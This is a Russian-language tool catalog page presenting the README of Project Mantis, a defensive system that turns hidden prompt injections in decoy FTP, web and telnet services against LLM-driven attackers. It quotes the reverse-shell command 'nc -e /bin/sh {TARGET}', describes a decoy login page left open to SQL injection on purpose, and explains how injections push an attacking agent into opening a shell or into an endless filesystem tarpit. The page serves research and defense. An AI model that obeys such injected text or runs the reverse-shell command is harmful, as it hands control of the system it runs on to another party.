Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
project_mantis — Проект Mantis: Взлом ИИ-хакера; инъекция подсказок как защита от кибератак на основе LLM | Kitploit
Инструменты/GitHubGitHub/pasquini-dario/project_mantis
Веб-безопасностьСетевая безопасностьСоциальная инженерияСтатьи и ИсследованияRed TeamingБезопасность ИИСостязательная Атака
GitHubpasquini-dario/project_mantis

project_mantis

Проект Mantis: Взлом ИИ-хакера; инъекция подсказок как защита от кибератак на основе LLM

Репозиторий
11913202 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Project Mantis: Взлом против AI-хакера

Инъекция промптов как защита от кибератак на основе LLM

Установка Mantis

pip install -r requirements.txt

Запуск Mantis с готовыми конфигурациями

В каталоге ./confs доступны различные готовые конфигурации.

Hack-back (контратака)

Пример файла конфигурации Mantis находится в ./confs/ftp_hackback_rshell.py. Что означает эта конфигурация и как выбрать свою, будет объяснено далее в этом файле README. Её можно запустить с помощью скрипта mantis_run.py:

python mantis_run.py confs.ftp_hackback_rshell

Запуск Mantis с конфигурацией confs/ftp_hackback_rshell.py создаёт фиктивный FTP-сервер с анонимными учётными данными, который пытается заставить атакующего LLM-агента открыть обратную оболочку через (невидимые) инъекции промптов. При срабатывании запускается прослушиватель обратной оболочки на указанном порту для тестирования (⚠️ эта конфигурация не предназначена для продакшена ⚠️).

Вариант этой конфигурации, использующий в качестве приманки веб-приложение, уязвимое к SQL-инъекциям, можно запустить так:

python mantis_run.py confs.web_hackback_rshell

Ещё одна конфигурация предоставлена в confs/web_hackback_rshell_with_inj_banner.py, которая является вариантом confs.web_hackback_rshell. Эта конфигурация использует инъекцию баннера службы для привлечения атакующих. Инъекцию можно контролировать с помощью гиперпараметра: BANNER_INJECTION_POOL (см. содержимое confs/web_hackback_rshell_with_inj_banner.py для примера).

Во всех этих примерах мы используем очень простой инициатор обратной оболочки: nc -e /bin/sh {TARGET} .... Его можно изменить, изменив переменную REVERSE_SHELL_INITIATOR в файле конфигурации (например, confs/ftp_hackback_rshell.py), где параметр {TARGET} — это IP хоста (устанавливается автоматически Mantis). Если вы хотите автоматизировать пост-эксплуатацию атакующего, вы можете изменить или заменить класс Mantis.Decoys.reverse_shell_listener.ReverseShellListenerTest. Подробнее о том, как работают файлы конфигурации, позже.

Tarpit (ловушка)

Другой пример — ./confs/ftp_filesystem_tarpit.py:

python mantis_run.py confs.ftp_filesystem_tarpit

Это запускает фиктивный FTP-сервер с бесконечно глубокой файловой системой и специальными (невидимыми) инъекциями промптов, чтобы удерживать атакующий LLM-агент в ловушке. Сложность ловушки можно задать через переменную EXPECTED_NUMBER_OF_DIRECTORIES в ./confs/ftp_filesystem_tarpit.py.

Понимание файлов конфигурации

Файл конфигурации определяет поведение Mantis: какие приманки использовать, когда их использовать и что делать, когда кто-то (или что-то) пытается их эксплуатировать. Хотя файлы в каталоге ./conf довольно подробны, они дают общее представление о том, как выглядит конфигурация. Практически это список переменных, определённых в (не особо структурированном) скрипте Python.

Единственные две обязательные переменные, которые ДОЛЖНЫ быть определены в файле конфигурации: DECOYS и TRIGGER_EVENTS.

DECOYS

Как следует из названия, эта структура данных определяет приманки, которые Mantis должен запустить при загрузке. Это Python-словарь, где каждый элемент — это порт, назначенный приманке, с портом в качестве ключа и кортежем, содержащим «класс приманки» и «конфигурацию приманки». «Класс приманки» — это подкласс «./Mantis/Decoys.DecoyService», а «конфигурация приманки» — это (возможно пустой) Python-словарь, предоставляющий параметры настройки для приманки. Эти детали мы обсудим позже.

Возьмём ./confs/ftp_filesystem_tarpit.py в качестве примера переменной DECOYS:

DECOYS = {
    21 : (
            TarpitFTP , {
            'name':'into_tarpit',
            'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
        }
    ),
}

Здесь одна приманка (TarpitFTP), работающая на порту 21. «Конфигурация приманки» содержит две переменные: name — имя, связанное с конкретной приманкой, которое поможет нам лучше управлять TRIGGER_EVENTS в дальнейшем, и ещё один словарь hparams, который можно использовать для передачи произвольных данных классу приманки. Если переменная name не установлена, её значение по умолчанию — "decoy". Значения в hparams затем можно получить в объекте приманки через атрибут self.hparams. В примере это используется для установки количества ожидаемых каталогов в файловой ловушке.

В примере показана одна приманка, но их количество может быть произвольным (при условии наличия свободного порта).

Доступные приманки

Mantis поставляется с некоторыми классами приманок, которые можно использовать сразу. Это:

  • Mantis.Decoys.FTP.fake_ftp.AnonymousFTP: Фиктивный FTP-сервер с включёнными анонимными учётными данными.
  • Mantis.Decoys.FTP.fake_ftp_tarpit.TarpitFTP: Фиктивный FTP-сервер с включёнными анонимными учётными данными, реализующий бесконечно глубокую файловую систему.
  • Mantis.Decoys.Web.webFakeDB_sqlinj.WebFakeDB_sqlinj: Веб-сервер со страницей входа, уязвимой к SQL-инъекциям.
  • Mantis.Decoys.Telnet.fake_telnet.AnyPasswordFakeTelnet: Фиктивный telnet-сервер со слабой аутентификацией.

Мы планируем расширить этот список, но, как мы увидим позже в данном README, создание собственной приманки не является ракетостроением.

TRIGGER_EVENTS

Вот самая сложная часть. Переменная TRIGGER_EVENTS определяет поведение Mantis, когда внешние пользователи (люди или агенты) взаимодействуют с приманкой. То, как определена эта конфигурационная переменная, может показаться излишне запутанным, но, возможно, вы оцените свободу, которую она вам предоставляет (возможно).

TRIGGER_EVENTS — это ещё один Python-словарь, где элемент определяется следующим образом:

 TRIGGER : (
      INJECTION_FUNCTION,
      {
        'invisible_shell':INVISIBLE_SHELL?,
        'invisible_html':INVISIBLE_HTML?
      },
      EXECUTION_TRIGGER_POOL,
      PAYLOAD_POOL,
      SERVICES_TO_SPAWN,
      TO_KILL?,
  ),

Здесь элемент определяет, что делать, когда приманка сигнализирует о триггерном событии. Далее рассмотрим каждый параметр отдельно:

TRIGGER

Ключ TRIGGER — это строка, которая позволяет сопоставить триггерное событие с соответствующим набором действий (значением элемента словаря).

В общем случае он может быть установлен в имя, присвоенное приманке при определении переменной DECOYS, как объяснено выше. Например, для ./confs/ftp_filesystem_tarpit.py он должен быть установлен в "into_tarpit". Если вы не задали имя для своей приманки, вы можете установить TRIGGER в "decoy". Если вы настроили несколько приманок, вы должны дать им имена и использовать эти имена для сопоставления с правильным триггерным событием в TRIGGER_EVENTS. Например, со следующими приманками:

DECOYS = {
    21 : (
            TarpitFTP , {
            'name':'ftp_tarpit',
            'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
        }
    ),

   80: (
        WebFakeDB_sqlinj, {
        'name': 'sql_injection'
        }
    ),
}

Ваши триггерные события должны выглядеть так:

TRIGGER_EVENTS = {
    'ftp_tarpit' : (...),
    'sql_injection' : (...),
}

Сложность, однако, в том, что каждая приманка может иметь несколько триггерных событий с разными именами (посмотрите на ./confs/ftp_filesystem_tarpit.py). Пока пропустим это 😇.

INJECTION_FUNCTION

Скачать инструмент